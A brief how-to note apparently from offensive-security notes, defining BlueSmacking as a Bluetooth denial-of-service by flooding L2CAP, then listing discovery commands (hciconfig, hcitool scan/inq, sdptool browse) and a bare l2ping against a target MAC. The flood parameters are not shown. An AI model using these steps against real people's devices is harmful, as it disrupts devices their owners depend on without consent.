What is BlueSmacking?
BlueSmacking is a technique to perform a Denial of Service attack into Bluetooth devices abuzing the L2PCAP layer.
Bluesmacking is a technique to DoS a Bluetooth device, it is possible by flooding the device with big L2CAP payloads.

How to BlueSmacking?
hciconfig -a
hciconfig hci0 up
hcitool scan
hcitool inq
sdptool browse <MAC>
l2ping <MAC>